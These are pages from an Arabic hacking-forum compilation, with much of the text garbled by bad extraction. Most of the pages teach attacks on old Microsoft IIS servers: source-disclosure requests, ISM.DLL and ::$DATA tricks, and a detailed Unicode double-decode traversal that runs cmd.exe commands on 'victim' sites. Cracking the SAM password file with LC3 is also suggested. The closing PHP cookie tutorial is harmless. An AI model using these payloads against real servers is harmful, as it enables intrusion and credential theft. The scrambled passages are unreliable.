رها في اقل من    ) . ساعه ٢٤سیتم كس
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----------------  
Null.htw : - 
----------------  

ل هذه الثغرة معقد قلیلا  ح كیفیة عم ریقة الاستفادة منها  لذا سأكتفي.. عملیة شر   ..فقط بط
ف رؤیة السورس كود لاي مل ختصار تسمح لك ب   .. ASP با

  full=HiliteType...htw?CiWe.null/com.victim.www://http :لتنفیذ الثغرة 
حه ص بالصف رابط السورس كود الخا ض لك هذا ال   . Default.asp سیعر

 
 

------------------------------ 
webhits.dll & .htw : -  
------------------------------  

ف  ربة اللنك على النظام الهد   htw.blabla/com.victim.www://http :اولا قم بتج
رد بهذه فهذا یعني ان  format of the QUERY_STRING is invalid : العبارة فإذا كان ال

ف مصاب   % .٩٠بنسبة  النظام الهد
ریقة  را جرب تنفیذ الثغرة بهذه الط خی   :ا

full=hilitetype...x/xxxxxxxx/xxxxxxxxx/com.victim.www  
ر الـ مع ت  XXXXX/XXXXX/XXXX/XXX.htw تغیی حقا حد هذه المل حدها ، با ل ا   :وبالتأكید سیعم

iissamples/issamples/oop/qfullhit.htw  
iissamples/issamples/oop/qsumrhit.htw  

isssamples/exair/search/qfullhit.htw  
isssamples/exair/search/qsumrhit.htw  

ف السام قم حصل على مل ره بواسطه الاداة وبالتالي ست   .. LC3 بكس
 
 

-------------------------------------------------------  
 [$DATA] ASP Alternate Data Streams:- 
-------------------------------------------------------  

ت بدایتها منذ العام  ت .. ١٩٩٨هذه الثغرة كان را رف حدید لسی ل على  IIS3.0 وهي مخصصة بالت والان تعم
ت را رف ض سی   .. IIS4.0 بع

حه  صف ض السورس كود لاي  ر ض سورس ا ((ومهمتها ع ر ل مالفائدة من ع ء ض یتسا حه ؟؟ البع )) لصف
حتوي على ت ت حا ض الصف ت مثل الاجابة ان بع رور قواعد البیانا ت م ت مهمة مثل كلما  معلوما

Global.asa  
ر یمكن تنفیذ الثغرة asp.default/com.victim.www://http:: من المتصفح بواسطة هذا الأم

$DATA  
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----------------------- 
ASP dot bug : -  
-----------------------  

ص ض السورس كود الخا ضا بعر حیث تقوم ای ص هي هذه الثغرة  حه  ربما اقدم ثغرة في هذا الن صف .. بأي 
   ..١٩٩٧حیث تم اكتشافها في العام 

  :الشكل  ویتم تنفیذها من المتصفح بهذا
.asp.sample/com.victim.www://http ر خ حظ النقطة الموجودة في ا ر لا   السط

ت را رف ل على سی   . IIS3.0 وهي فقط تعم
 
 

------------------------------------------- 
ISM.DLL Buffer Truncation : -  
-------------------------------------------  

حب رمجي یسمح للمهاجم بس ضا  خطأ ب ت ورؤویة السورس كود ای   ..الملفا
ر رف ل على السی حای ف ما  وفكرة الثغرة هي الت حن نقوم بطلب .. بإیهامه اننا قمنا یطلب مل حقیقة ن وفي ال

ر  خ ف ا   ..مل
ف رموز المسا ISM.dll المسؤوول عن هذا الخطأ هو المل ر من ال حمیله بعدد كبی  ( ٢٠(%فة حیث یتم ت

Space .  
  :یمكن تنفیذ الثغرة بهذا الشكل 

%20asa.global/com.victim.www://httphtr .asa.global)230=<(... 
ضع  <=٢٣٠مكان الـ    % ..٢٠ مسافة بهذا الشكل ٢٣٠نقوم بو

ل ت هذا الخطأ یعم را رف ره الا .. IIS 4.0&5.0 على سی ر من م ر اكث رف ربتها على السی اذا  ولكن لا یمكن تج
خول  ل د روج وتسجی خ ل  ف ویعود السبب في ذلك ان الثغرة السابقة تؤدي الى، قام بتسجی ف المل  ایقا

ISM.dll ف المذكور ل في الذاكرة بینما تطلب الثغرة ان یكون المل ل  عن العم لذا یجب اعادة .. قید العم
حمی ى ت ر خ ره ا ف في الذاكرة م ر یجب.. ل المل خ ل اي بمعنى ا ل اعادة تشغی ف بعم ر النظام الهد  ان یقوم مدی

Rebot او Logout & Login .  
 
 

----------  
+.htr :-  
---------  

ضا تقوم ت هذه الثغرة ای ص بملفا ض السورس الخا   . ASP بعر
  :یمكن استخدامها بهذا الشكل 

htr+.asa.global/com.victim.www://http  
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----------------  
site.csc : -  
----------------  
ت مهمة عن الـ تمكنك هذه الثغرة ص بالموقع بما في ذلك DNS من معرفة معلوما  DSN, UID الخا

and PASS Database ..  
  csc.site/config/adsamples/com.victim.www://http :الثغرة 
ف المذكور  سیقوم ضا .. المهاجم بانزال المل ت قیمة و هامة أی حصل على معلوما   …وسی
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 "UniCodeدراسة مفصلة وبعمق في الـ"
  

$$$$$$$$$$$$$$$$$$$  
  ACID BURN_EG:الكاتب

$$$$$$$$$$$$$$$$$$$  

ركاته  حمه االله و ب  ::السلام علیكم ور
خباركم كلكم ؟ اتمنى رو ازیكم شباب ایه ا  .تكونوا بخی

ف رهیبه   اعذرونى على غیبتى و انقطاعى عنكم و لكن و االله ظرو
روكن و ضى على رأى ب رغى فى شویه كلام فا خلونا ن   الان 

ت ت و ادعبثكن ث   اتصفح الانترن حد ت مختلفه و هى تت ت من ملفا ض من المعلوما ت بع شوى و بعدین جمع
خ ....الان معظمكم سیستعجل و یقول یاه ه ه ه ه یونى كود قدیمه  طبعا(عن الیونى كود   و لكن انا اقوله) ال

ق بلاك هنتر ره عن الصدی ت م را ث م ت ثلا ت الیونى كود فى المنتدیا ر ر لقد ذك ره مناصب س و   و م خ هك الا
صدقونى ستكون مختلفه ره  خلود لكن هذه الم ق دیمون او ابو  ره عن الصدی ت  م را ف عن الم ختلا تمام الا

 ( Trust Me) السابقه
رابیط و  ::خلونا نقول الدرس یمكن یعجبكم و الان دعونا من ها الخ

<><><><><><><><><><><><><><><><><><><><><><><><><><><><><>  

ت الیونى متى   كود؟ وجد
Found On 15 May 2001 BY NSFOCUS 

 
ره هى  :: السیستیمز التى تتأثر بالثغ

All running IIS 4 / IIS 5 web server 
Windows 2k 

Windows 2k SP1 + SP2 
 

ره الیونى كود  ر بالقوه::ثغ ر بأن یشغل اوام ره تسمح للهاك ح بها  هى عباره عن ثغ حیه مسمو اى (بصلا
 ( IUSR_machinename account تیازیكون له ام

 
ث حد ره اصلا نتیجه ان روتین ال و ت ره عنوان cgi هذه الثغ ر نفسه یفك شف رف  الموجود على الویب س

رتین و هذا ما نسمیه ق ستفهم بعد ذلك  (DeCode بالـ الموقع م  )لا تقل

 
ق دى تعالى معى رابیط الى انا كاتبها فو حلك ایه الخ ض   خلینى او

 
 ::لا و لیكن مث

c+dir+c/exe?.md..%...c%5/..scripts/iisserver://http>  ===ره یونى كود  ثغ
 
/iisserver://http>  ====ره المذكروه  المصابسیكون هذا هو هدفنا اى الموقع  بالثغ

 
* /scripts/ - ت تنفیذیه على ر  و هذا الفولدر لدیه امتیازا رف ر على (الس اى یمكن للیوزر تنفیذ اى ام

خلاله  ر من  رف ضا) الوب س س ال وهذا الفولدر ای الموجوده على الوب  cgi هو المستخدم فى تنفیذ سكربت
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حدید هذا الفولدر ر و بالت رف  ( executable directory نفیذى اىیسمى الفولدر الت س
 

س له طبعا هذا الفولدر لی ره على الملقم و  ء كثی ل و لكن یمكن ان یكون له اسما ت هذا فقط مثا و  iis اسم ثاب
حوظه   executable directory هذا الفولدرالتنفیذى اى iis لا یوجد على كل ملقم:: هامه مل

 
س ق خ هك ق بلاك هنتر و الا حهم  د ذكرو معظم اسامى هذهو اعتقد ان الصدی ریكتورز فى شر فأنا ارید (الدی

حتى تكون سلسله متكامله  ض    )ان اربط الدروس مع بع
 

* winnt/system32/cmd.exe ===> طبعا هذا هو ال بأدراج سطور  الذى یسمح لنا cmd و 
رید تنفیذها  ر التى ن ل هذا ال(الاوام  و ping ر مثلاستخدام اوام فى cmd و على فكره ممكن تستعم

netstat و traceroute ....حظها خ اعتقد انها فكره لم یلا  )بعضنا  ال
 
حتى علامه الاستفهام فى هذه الثغره لها-؟ * حاله التى   علامه الاستفهام تخیلو  دور فهذه العلامه تعنى ال

ر  ش فاهم یعنى ایه (ینفذ بها الام  ه الاستفهام تعنى كلمهیهمك تعالى معى افهمك یعنى ایه علام و لا) طبعا م
argument حظه ثم  و هذه الكلمه هى ر مثلا ینفذ فى ل ر اى انه ام حاله التى سینفذ بها الام التى تعنى ال

ر copy ینتهى مثل طبعا معظم الاوام حقیقه ان  ر مفعوله و  ر مثلا ینفذ و لكن یستم التى  مثلا ام انه ام
ر العادیه و هى من نوع حظه  یعنى ان c/ و هذا ال argument /c نستخدمها هى الاوام ر ینفذ فى ل الام

  ثم ینتهى
ر  ضغط انتر  (?/ cmd) بتاعك و اكتب هذا cmd  افتح ال٢٠٠٠لو عندك ویندوز :: تعالى افهمك اكث و ا

ت، ختر ر جداا و لكنى ا ر لك كلام كثی ت علیك الباقى سیظه ضیح و ان ء بسیط فقط للتو   منه جز
ر لك ح یظه ف ایه الى را  :: شو

Starts a new instance of the Windows 2000 command interpreter 
 

CMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | /V:OFF] 
[[/S] [/C | /K] string] 

/C Carries out the command specified by string and then terminates 
/K Carries out the command specified by string but remains 
/S Modifies the treatment of string after /C or /K (see below) 

/Q Turns echo off 
/D Disable execution of AutoRun commands from registry (see below) 

 
ء ایه ف هذا الجز ر لك و لكن تعالى نشو ح یظه ء بسیط جداا مما را  ::معناه اولا یقولك  هذا جز

Starts a new instance of the Windows 2000 command interpreter  و هذه
حاله جدیده من مترجم ال ویندوز  ضح لنا ان كل ٢٠٠٠الجمله تعنى بالعربیه بدایه  طبعا و  cmd و هذا 

قیمكن ان یتخك حسب ما یفتح او یغل حالته  حبه فى  صا ل م  ر لنا . argumentsا  و بعدها یظه
arguments ره و منها الذى نستعمله دائما فى ره و هو كثی  ::شوفو كده ما المكتوب امامه  c/ الثغ

Carries out the command specified by string and then terminates  و هذا
ر ا رالكلام معناه انه ینفذ الام ر العادیه التى نعرفها لموجود فى سط طبعا هذا للاوام ر ثم ینتهى و    الاوام
ر الى ف السط حتیه  تعالو نشو م عن::ت ف نجد انه یتكل ره الیونى كود و هو  argument سو راه فى ثغ لا ن

 ::ایه مكتوب امامه شوفو k/ ال
Carries out the command specified by string but remains ناه انه طبعا مع و

ر مفعولها  ر و لكن یستم ر الموجوده فى السط حث(ینفذ الاوام ت اب ر مثل هذه و لكن هذا ما  ما زل عن اوام



 

  ١ ١ ٧  

Sites UnDeR UtTaCk  hi_HaCkEr & MaXhAk2000  www.3asfh.com/vb  

ر التى حبتین مثل هو مكتوب امامى و لكن تقدر تقول انها الاوام طویله  خذ فتره   )مثلا  ping تأ
ر مثل argument و مثلا هناك خ ر و هذا Q/ أ ل ام ق تفعی ضح فى  echo نستخدمه فى اغلا كما هو وا
ق ل فو   المثا

ر من حكم فیه  arguments هذه ال و هناك الكثی طبعا منها ما هو اساسى لا یمكنك الت حه او (و  یعنى فت
رین یمكنك ان تجعلهم ( k/ و ال c/ مثل ال غلقه خ حكم off او on و هناك ا ت تت حاله ال و بهذا تكون ان  ب

cmd  ت(خاصتك ر و تقرأ المك یاری ل الفتحتنفذ الام ح تلاقى تفاصی ل  توب لانك را ق بالتفصی و ) و الغل
حان الاول فى حتى انتهى من الامت روا على قلیلا  ء االله تعالى و بعد  فى MCSE اصب خلال اسبوعین ان شا

ح لكم هذه النقطه ر ر قوه و نش رو شوى ذلك نعود اكث س اصب ء االله ب ل ان شا   بالتفصی
ت ما هى ال ره و انا متأكد انك لا  c/ ما فائده و arguments اعتقد انك الان فهم التى تكتبها فى الثغ

ف معناها   .تعر
ح رو ره  تعالو ن ت تشغل ال،لنقطه سهله و بسیطه جدااا فى الثغ حكم cmd.exe ان بالموقع  لانك ترید ان تت

ف نشغله ى كی ر ف تانى یات خ و و لكن تعالى مثلا نشغل اى مل س و ال ر الاندك  ؟ و تغی
ح اقلك ك ف انا را ل الذى ترید::ی ضع اسم الفای  تشغیله بهذا الشكل كل ما علیك فعله هو ان تقوم بو

Ping.exe+PRINT بلا من cmd.exe?/c ل ت الفای   الذى تریده و بهذا تكون قد شغل
(enjoy this ) . ره بهذا الشكل  ::حیث تصبح الثغ

PRINT+exe.ping..%.../c%5/..scripts/issserver://http 
 

* /c+ - ق انا رفنا فو حاله التى cmd.exeلل argument هى ال c/ و بالتالى كما ع سینفذ علیها  او ال
ر اما علامه ال  cmd ال ره و لكن لا  فهى بمقام المسافه بین c/ التى بجانب ال+ الام الكلمتین فى الثغ

ر الذى ر لینفده ثم علامه  یمكننا اسبدالها بمسافه عادیه و بعدها یكون الام ر الاوام مله سط ح ثانیه و + ی
حتویاته ض م ف الذى تعر حالیا  بعدها اسم الدرای  .على الشاشه 

 
ره و هى اساسا سبب** ره كما ذكرنا فى اول الكلام  و نأتى الان لاهم نقطه فى الثغ ره (الثغ هو ان سبب الثغ

ر منیكون ره العنوان اكث ل شف ح ره    ق علیه ال)م و انا شخصیا افصل الدیكودز على  decodeو هذا ما نطل
حتى نصل ل  حلی ت یعنى انه ت ضیا ریا ل كما فى ال ح اى تبسیط و فك المعادله تعالو  simplyfiey لابسط ال

ره نفسها  خلینا  ::نفهمكم هذا على الثغ
 

/..%255c..%255c حل لهذا هو الدیكود اى الت  /....للاصل  ی
ریبه ؟ ت الغ حلیلا حاول ان نفعله بهذه الت  ولكن ما الذى ن

حن بذلك ر او اللعب فن ف لا یمكنك تغیی ریكتورز و لكن للاس ت الدی حسن و نلعب فى مسارا حاول ان ن فى  ن
ریكتورز لان ال ل iis الدی التنفیذ و هنا یقع  على مثل هذه الدیكودز و منعها من check مزود بخاصیه عم

ره فهمتما ر من م رتین او لاكث ل لم حلی ره الیونى كود و هو الت مزود فعلا  iisقصدى الان اى ان ال صل ثغ
ت تضع check بخاصیه ال س اسم  على هذه الدیكودز و لكن ان حد لنف ل وا حلی ر من ت الثغره و بها اكث

ر له ان و المنع على الدیكو check المعتاده و هى ال بوظیفته iis الموقع و لذلك یقوم ال د الاول و یظه
ر و انه حق كل شئ بخی خ و لكن ال خخخخخخخ ر على الموقف  ل الییسیط حده  checkقه انه یعم ره وا م

ریكتورز و بالتالى یكون نتیجه فتكون النتیجه حاوله اللعب فى الدی الدیكود  ان الدیكود الثانى ینجح تماما فى م
رجع الى اصله اى  ( slash) / الثانى هو ان ی

 
قو تعال ل و نتعم خ رفنا فكرتها  و ند ره بعد ان ع ل الدیكود للثغ ر فى تفاصی  ::اكث

ح درس فیها شئ یسمى computer logic شوفو فیه ماده اسمها  HexaDecimal و الماده دى را
Values و هذه ال values  ركه ح حیح او  ص ف  ر ح ره اى ان كل  هى اساس الدیكود الذى نفعله فى الثغ

ر لها فى/ مثل  لالكمبیوت ر  hex value  ما یسمى با حلك اكث ض  ::تعالى او
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 (space)  تعنى مسافه٢٠: %مثلا
طبعا یوجد جدول لهذه ال ت الان كلامى و  ل بسیط و اعتقد انك فهم المساویه  hex values هذا مثا

ر  ت العادیه فى الكمبیوت ركا ح ف و ال رو ح ت، لل  hex values تماما الان انك ترسل اذن اعتقد انك ادرك
ضا  ر و هذاعو رف ت العادیه الى الس ركا ح ف و ال رو ح ره او ال عن ال ل او فك الشف حلی بالضبط ما نسمیه الت

decode  
 

ل ح علیها هى ال تعالى نخش فى تفاصی ر ركه التى نش ح خذ ال ر و سنأ ره اكث حیث انها من  ( slash) / الثغ
ت ره  اساسیا  ::الدیكود فى هذه الثغ

ف فى جدول ال ح نجد ان hex value شو ر الان  , ٥c/ = % ال را طبعا هذا هو الدیكود الاول الذى ستفك
ف ال  حذ ل و تضع بدلا منها هذا/ فى انك ت خطأ لان هذا هو  valueا ره و لكن انا اقول لك هذا  فتنجح الثغ
ت هذا الدیكود الاول فستجد  الدیقود الاول و انا ضع ر یعنى لو و رتین او ممكن اكث ث م حد ت ان الدیكود ی ذكر

ل ان ل هذا ال لدیه القدره على ان یمسك هذا الدیكود و یمكنعه من التنفیذ و لذلك علینا ان iis ا حل  value ن
ره   حتى یتم الدیكود التانى فتنجح الثغ

 
ر الى جدول ل و بالنظ ف نجد هذا  hexadecimal values ا  ::شو

% = %25 
5 = %35 
c = %63 

 
خدعنا ال و رتین و بالتالىب iis checker بالتالى نجد انفسنا قد  ره م حللنا ال شف حصل فى  أننا  فسن

ت الثغره / المقابل على الاصل و هو  ح  .و بالتالى تكون قد نج
 

س معناه فهمتم رتین لی ره و الدیكود م رتین و فهمتم اساس الثغ تكرار  الان شباب معنى دیكود العنوان م
ل الاول اى حلی ل و فك الت حلی رتین و لكن معناه ت ل الاول م حلی صوره ممكنه  الى simplify الت ابسط و اطول 

ت س الوق   فى نف
 

ف حطلك كی ح ا ر معك را ضح اكث ل  و عشان تو حلی  ::التركیبه الصح للت
%255c %25 = % 5 = 5 c = c = %5c 

%%35c % = % %35 = 5 c = c = %5c 
%%35%63 % = % %35 = 5 %63 = c = %5c 

%25%35%63 %25 = % %35 = 5 %63 = c = %5c  
 
 /= ٥c: %ثم 
 

ر یجب ان خ طبعا فى الا ل  حلی ت هة یساوى الدیكود الاصل و هو كما  ارائیتم الت حلیلا ضح فى مثالنا كل الت وا
رنا  ٥c%تساوى  حتى نخدع ال / = 5c% و كما ذك ل  حلی رمز الى اطول و ابسط ت حللنا هذا ال  iis و لكننا 

checker . 
ره و اساسها هیا تعا ضو فى النهایه بعد فهمنا للثغ   لو نطبقها مع بع

ره فى هذا الشكل  ضع الثغ ف ن  ::سو
s:+/c+dir+c/xe?..%...c%5/..scripts/iisserver://http 
 
ره و  و حظون شئ جدید قد زاد على الثغ ح و لكن اكید تلا خلون على الموقع بنجا  s/+ هو هذا الشىستد
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رمز   هذا ال
ق ل الساب ره كما فى المثا رمز مع الثغ ج هذا ال ر فى  و عندما تدم صغی ر و  ل كبی ف تأتیك لسته بكل فای سو

رفر ر الویب س   كمبیوت
 

ت فى حتى اصل لهذا الشكل و االله تعب ت و تجمیعها عن الیونى كود  ت فى قرائه المعلوما  هذا الدرس و تعب
ء االله  خوه و ان شا حانى الاول فىالا ت امت ضوعى القادم بعدما اكون انهی رو مو ادعولى ) MCSE انتظ

ح  ت ویندوز ) بالنجا ل مع شبكا ص للتعام ختراقها و فائده ال  و كیفیه٢٠٠٠و سیكون عباره عن تلخی  ا
WIN2000 RESOURCE KIT....  
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 "تدریب على عملیة الإختراق بواسطة الیونیكود " 
  

$$$$$$$$$$$$$$$$$  
  MaXhAk2000: الكاتب

$$$$$$$$$$$$$$$$$  
  

م حی ر حمن ال ر   ..بسم االله ال
ق ری ط ق عن  خترا ح عن الإ ق المواقع بأنواعه والیوم عندي شر خترا ر الكلام عن إ الیونیكود أو بالأصح  كث

ق الیونیكود وهذا النوع ری ط ق عن  خترا ق عملي على كیفیة الإ ر للمبتدئین وهو الذي بإذن ا تطبی الله یعتب
ف حترا ق الإ ری ط  ..... سیوصلهم إلى 

***************************************************************************************  
 ...بسم االله نبدأ

ق على جهازك وهو ق الدرس كما وأنك على موقع  سیكون التطبی ر وتقوم بتطبی رف مثل الموقع أو السی
 .....مصاب

 
خت لكي ق المواقع قم بتركیب نظام ویندوزتتدرب على إ س السیدي.  على جهازك ٢٠٠٠را تبع النظام  وفي نف

رفر ضافة سی ق  IIS تقوم بإ ری ط  :وذلك عن 
حة *١ حكم قم بالذهاب إلى لو  .الت
ج *٢ رام ضافة إزالة ب ر على إ  .قم بالنق
ر على زر  *٣ ضافة" قم بالنق ت ویندوز  إ  ".إزالة مكونا
صح على ا *٤ ضع علامة  “ لخیار الأولقم بو IIS” . 
ر هذا رف ل السی  ..بالنسبة لكیفیة تنزی

ختراقه فقم  :ـبالتالي اما عن كیفیة التدرب على الجهاز أي ا
ضع الموقع في مجلد  ل مجلد wwwroot قم بو خ ل علیه بعد ما تشغل   Inetpubالموجود دا خ طبعا هتد

ر رف ق IIS السی ری ط  عن 
/127.0.0.1://http 

ص عن  ولإیجاد الثغرة في الجهاز والتدرب علیها قم ح ر للف خ ج ا رنام ران سكان أو أي ب ج عم رنام ل ب بتشغی
ت تبع الیونیكود وقم را ضع العنوان تبعك الي هو الثغ  http//:127.0.0.1/ بو

ت التي  ق المهارا ق المواقع المصابة بالیونیكود تعلمتها فيوقم بتطبی خترا   ...ا
  
  

  

  

  

  

  

  



 

  ١ ٢ ١  

Sites UnDeR UtTaCk  hi_HaCkEr & MaXhAk2000  www.3asfh.com/vb  

 "درس مفصل عن الكوكیز " 
  

$$$$$$$$$$$$$  
  Linux Girl :الكاتب

$$$$$$$$$$$$$  
  

  :ـــمقدمة
^^^^^^  

ت  ر ( cookies الـ( تعد الكعكا ء مواقع اكث ل المفیدة في انشا تفاعلیة ، فبواسطتها ستتمكن من  من الوسائ
 .. المتصفح بزیارة موقعك من قبل ام لامعرفة هل قام 

 
ف یمكننا استخدامها ت و كی ف على الكعكا  ... في هذا الدرس سنتعر

 
 :اقسام الدرس 

ت عامة  -١  .معلوما
ت على جهاز -٢ ل  زراعة الكعكا  .العمی
ل  -٣ ت من جهاز العمی ءة الكعكا  .قرا
ق  -٤ ص لون الخلفیة: تطبی   . تخصی

<><><><><><><><><><><><><><><><><><><><><><><><><><><><><>  
  

ت عامة  معلوما
^^^^^^^^  

 
ت الكوكیز ؟ -   ما هي ملفا

^^^^^^^^^^^^^^ 
ت الكوكیز عبارة عن ص الصلب في   ملفا ر ت نصیة ، تقوم المواقع التي تزورها بإیداعها على الق ملفا

حتوي ت تتیح للموقع الذي أودعها  جهازك ، وت ت النصیة على معلوما حاجة ،هذه الملفا  أن یسترجعها عند ال
 .أي عند زیارتك المقبلة للموقع 

 
ت ضمن ملفا ت التي تخزن  ف المعلوما س بإمكان هذه المواقع  وتختل ر ، ولكن لی خ الكوكیز من موقع لآ

ضافیة عنك ت إ ع أي معلوما ف النصي  استرجا ت المخزنة في المل ء تلك المعلوما أو عن جهازك ، باستثنا
ص بها ، والتي تم ت الخا ضمون ملفا  إرسالها من قبل الموقع ، وبذلك لا تستطیع هذه المواقع الاطلاع على م

خاصة على جهازك  ت  ى ، أو أي ملفا ر خ  .الكوكیز الأ
 
ت - ف یتم إیداع ملفا  الكوكیز على جهازك ؟ كی

خالك عنوان موقع في شریط العناوین ، رسل المتصفح ، عند إد حددته ، متضمن ی اً طلباً إلى الموقع الذي 
ص به ، ونوع المتصفح الذي IP عنوان ر جهازك  الخا ل الذي یدی تخزّن هذه . تستخدمه ، ونظام التشغی

خاصة ت  ت في ملفا ت التي یتم إرسالها  ، Log Files بالمزود المعلوما وفي . ولا علاقة للكوكیز بالمعلوما
ت ص الموقع المطلوب ،  الوق ت كوكیز ، التي تخ حث المتصفح عن ملفا إرسالها مع  فإذا وجدها یتمذاته یب

ت  طلب مشاهدة الموقع ، وإذا لم توجد ، فإن الموقع سیدرك أن هذه زیارتك ل ملفا الأولى إلیه ، فیقوم بإرسا
  .الكوكیز إلى جهازك لتخزن علیه 
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ت جدیدة كلما وبإمكان ضافة معلوما ت الكوكیز أو إ ضمن ملفا ت الموجودة  ر المعلوما ت بزیارة  الموقع تغیی قم
حذفها. لموقع ا حیث یجري  ت الكوكیز في الذاكرة فقط ، ب ض ملفا مباشرة عند إغلاقك  یتم تخزین بع

ت الكوكیز المثابرة"المتصفح ، ولكن معظمها وتسمى  ص الصلب  ، یتم"ملفا ر حددة على الق تخزینها لفترة م
حیتها مدة صلا حیتها وقد تدوم  صلا ء  حین انتها ت  ل حتى سنوا ر أو  ض ملفا. أشه ت الكوكیز التي أما بع

ق ، خ ساب حیة لتاری صلا خ  ض تاری ف مباشرة ولا تُخزَّن على قرصك الصلب  تعر حذ وتعود . فإنها تُ
ت ت المخزنة في ملفا ت  المعلوما ركا ض الش م بع ت الموقع الذي أصدرها فقط ، وقد تعم الكوكیز إلى مزودا

ت ى ملفا ر ق الم الكب ت المتضمنة ، ولكي لا تصدرالكوكیز التي تصدرها على جمیع مزوداتها ، لتنسی  علوما
ت مختلفة في الموقع حا ت كوكیز للمستخدم ذاته ، عند زیارته لصف  . كل من مزوداتها ملفا

 
ف الكوكیز  - ت مل  :مكونا

^^^^^^^^^^^^^^  
ف ، قیمته ء هي اسم المل ء مفعوله ، الموقع المالك له  ، یتكون عادة من عدة اجزا خ انتها  ...تاری

 
ت ع ل لى جهاززراعة الكعكا  -:العمی

ت :أولا  ت الكعكا ف تزرع ملفا  : كی
 :و تعریفها بالشكل التالي  setcookie یتم ذلك باستخدام الدالة

  
code:  

  
 
  

boolean setcookie ( string name [, string value [, int expire  
  

[, string path [, string domain [, int secure]]]]]) 
  
 
  

  
 
 

خلا ث الاولىتهمنا المد  :و هي  ت الثلا
name :  حد و... اي اسم الكعكة ر من كعكة الى متصفح وا ل اكث عندها یصبح الاسم هو  فبامكانك ارسا

حیدة للتمییز   .الطریقة الو
 

value :  م... القیمة ر مهم ... نصیة  فقط قی ضع مصفوفة كقیمة و هذا أام لكن انتبه بامكانك ... لا یمكنك و
ضع ى مصفوفة لكن بط و ر خ ف ؟ ... ریقة ا ر في serialize استخدم الدالة: ؟ كی حویل اي متغی بي اتش  لت

 . لاعادته الى الشكل الطبیعي unserialize بي الى شكل نصي و من ثم استخدم
 

expire :  س ر ١( اي عدد الثواني من بدیة عصر الیونك بعدها سیقوم المتصفح  و التي ) ١٩٧٠ ینای
ف  حذ ت... الكعكة على جهاز المستخدم ب حالا ث   : و هنا ثلا

حالي على جهاز: أولاً  <-- ت ال ر من الوق ل اكث خ ت المعطى كمد ل و عندها تخزن الكعكة  أن یكون الوق العمی
ء المدة  ف عند انقضا حذ ل و ت  .على جهاز العمی
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ل و عندها لا یقوم: ثانیاً  <-- ت على جهاز العمی ل اقل من الوق خ ت المعطى كمد تصفح على الم أن یكون الوق
حتى لو حذفها  س الاسم فانه ی ت كعكة بنف ل بتخزینها و اذا وجد  .لم تنتهي المدة  جهاز العمی

حدد وقتا فان الكعكة تخزن في ذاكرة: ثالثاً  <-- ق المستخدم الموقع  إذا لم ت حالما یغل  .المتصفح و تفقد 
 

ل    :مثا
code:  

  
<?  

  
setcookie('site','http://www.palhackerz.com/',time()+3600);  

  
?>   

  
 

س  time من الدوال المفیدة دالة حالي على شكل عدد الثواني من بدایة عصر الیونك ت ال و التي ترجع الوق
ر ١(  . )١٩٧٠ ینای

 
ف او تعدل كعكة حذ ف ت  :ثانیا كی

س ف كعكة علیك أن ترسل كعكة بنف حذ ت على جهاز لكي ت ت اقل من الوق ت وق خالیة القیمة و ذا  الاسم و 
 المستخدم

 
ل   : مثا

code:  
  

<?  
  

setcookie('site','',time()-360000);  
  

?>   
  

 
 

ت  حظا   :ملا
حدد -١ ل  عندما ت ت بین الخادم و العمی ق التوقی رة لكي تتفادى فار ضیاً اجعله قیمة كبی  .زمنا ما
حذفها و إرسالها من جدید -٢  . لكي تعدل أي كعكة علیك 
 

حظة مهمة   :ملا
ء الى المتصفح  setcookie  الدالةتستدعي یجب ان ینجح  فمثلا الكود التالي لن.. قبل أن ترسل اي شي

:  
code:  
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<html>  
  

<body>  
  

<?   
  

setcookie('site','palhackerz.com',time()+20000);  
  

echo  " Alfjr.com : the best islamic forum";  
  

?>  
  

</body>  
  

</html>  
  

  
 

ربل لو كان هنالك م رد سط غ قبل علامة البدایة  ج ل الدالة <؟فار  ... setcookie فلن تعم
 

ق ل الساب   :كان من الممكن ان یكون  المثا
code:  

  
<? setcookie('site','palhackerz.com',time()+20000);   

  
?>  

  
<html>  

  
<body>  

  
<? echo  " palhackerz.com : the best Hacking forum"; ?>  

  
</body>  

  
</html>  
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ت من جهاز ءة الكعكا ل قرا  :العمی
 
ت من الكعكة  - را ف تستقبل المتغی   -:كی

^^^^^^^^^^^^^^^^^^^^^  
حد   قلنا بانه بامكانك ر من كعكة الى متصفح وا ل اكث  ..ارسا

حة على صف حهِ  ت  عندما یطلب المستخدم من متصف ت التي قم ل جمیع الكعكا موقعك فان المتصفح یقوم بارسا
ت و تخزنها في مصفوفة اسمها PHP ... ت بزراعتها عند المستخدمان ءة هذه الكعكا  تسهل علیك قرا

COOKIE_$ مصفوفة من النوع و هي Associative Arrays  ح هو اسم الكعكة و حیث ان المفتا ب
 .الكعكة كما ارسلتها  القیمة قیمة

 
ل    :مثا

code:  
  

<?  
  

echo $_COOKIE['site'];   
  

?>   
  

 
 
   :هذه تطبع و 

code:  
  

palhackerz.com  
  

ق  ص لون الخلفیة: تطبی   تخصی
ء موقع مبسط و نستخدم ل بسیط دعنا نقوم بانشا ص  كمثا حببة الى الشخ حفظ لون الخلفیة الم ت لكي ن الكعكا

.. 
 
 ماذا لدینا ؟ -
ف-١ ف بعملیتین  : user.php  المل  :یقوم المل

حدید اللون الذي: الاولى  <-- ختاره  ت ر ا  .الزائ
حفظ اللون: الثانیة  <-- ختیار الللون و  ض نموذج ا ر  المختار ع

 
ف-٢ ف index.php  المل ت المل خدما ت الموقع و التي تستفید من  حا صف حدى   . user.php إ
 

ف  ص بكل مل  :وإلیك الكود الخا
ف -١   : user.php المل

code:  
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<?  
  

/*-----------------------  
  

Cookies-Based Background Selector..  
  

Created By : "Rasha"<rasha@h4palestine.com>  
  

For : h4palestine.com  
  

-------------------------*/  
  
 
  

function display_form(){  
  

?>  
  

<html>  
  

<body>  
  

<!-- Color setting Form -->  
  

<form name=color_select method="GET">  
  

<INPUT type="hidden" name="do" value="set_color">  
  

<INPUT name="color" type="text" value="  
  

<? echo get_color(); ?>">  
  

<INPUT type="submit" value="حفظ اللون   <"ا
  

</FORM>  
  

<!-- Color Clearing Form -->  
  

<form name=color_clear method="GET">  
  

<INPUT type="hidden" name="do" value="clear_color">  
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<INPUT type="submit" value="ر لوني المفضل   <"لا تتذك
  

</FORM>  
  

<?  
  
 
  
}  
  
 
  

function set_color(){  
  

global $_GET;  
  

setcookie('color',$_GET['color'],time()+36000);  
  

header('Location:index.php');  
  
 
  
}  
  

      
  

function get_color(){  
  

global $_COOKIE;  
  

if(isset($_COOKIE['color'])){  
  

return $_COOKIE['color'];  
  

}else{  
  

return "#FFFFFF";  
  
}  
  
}  
